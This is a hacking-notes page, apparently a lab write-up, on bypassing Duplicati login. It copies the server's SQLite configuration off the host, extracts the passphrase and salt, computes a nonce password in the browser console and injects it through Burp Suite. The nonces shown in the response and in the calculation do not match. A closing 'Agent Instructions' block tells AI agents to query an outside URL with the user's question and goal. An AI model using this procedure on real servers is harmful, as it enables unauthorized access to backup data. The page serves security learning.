> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md). # Duplicati - Bypassing login authentication Duplicati authentication bypass notes for SQLite configuration extraction, server-passphrase recovery, nonce password calculation, Burp interception, and login bypass. {% embed url="" %} During target analysis, a **Duplicati** web portal is discovered. The portal exposes an authentication panel requiring a password.

{% hint style="info" %} Duplicati is a backup client that stores encrypted, incremental, compressed backups of local files on cloud storage providers or file servers. {% endhint %} System enumeration locates the Duplicati configuration directory at `/opt/duplicati`. The SQLite file `Duplicati-server.sqlite` may contain sensitive information.

#### Downloading the SQLite File To analyze the file, download it to the attacker machine using a Python HTTP server: ```bash python3 -m http.server 4444 ``` ```bash wget http://10.10.11.30:4444/Duplicati-server.sqlite ```

#### SQLite File Analysis Open the file with `sqlite3` to inspect its contents: ```bash sqlite3 Duplicati-server.sqlite ``` List the tables and select the `option` table for data extraction: ```sql .tables select * from option; ```

| Key | Value | | --------------------------------- | ---------------------------------------------- | | `server-passphrase` | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` | | `server-passphrase-salt` | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` | | `server-passphrase-trayicon` | `ce13157b-a06e-4b60-811d-60d294e8d0ae` | | `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` | #### Passphrase Conversion The `server-passphrase` value is Base64-encoded. Decode it and convert it to hexadecimal with: ```bash echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256 ```

#### This gives the following hexadecimal value: ```excel-formula 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a ``` ### Final Password Calculation To generate the final password, run the following steps in the browser console: **Define the salted passphrase:** ```javascript var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; ``` ### Intercepting the request with Burp Suite Intercept the request in Burp Suite, choose `Do intercept > Response to this request`, then click `Forward`.

An HTTP request intercepted with **Burp Suite** reveals the following values:

```json { "Status": "OK", "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=", "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=" } ``` The `Salt` field matches the `server-passphrase-salt` value extracted from the database. **Calculate the nonce password:** {% code overflow="wrap" %} ```javascript var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64); ``` {% endcode %} **Print the result:** ```javascript console.log(noncedpwd); ```

The generated password (`noncedpwd`) is: `bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=` #### Password Injection and Exploitation 1. Paste the calculated password. 2. Use **Ctrl + U** to URL-encode it.

3. Click **Forward** again to complete the exploitation.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.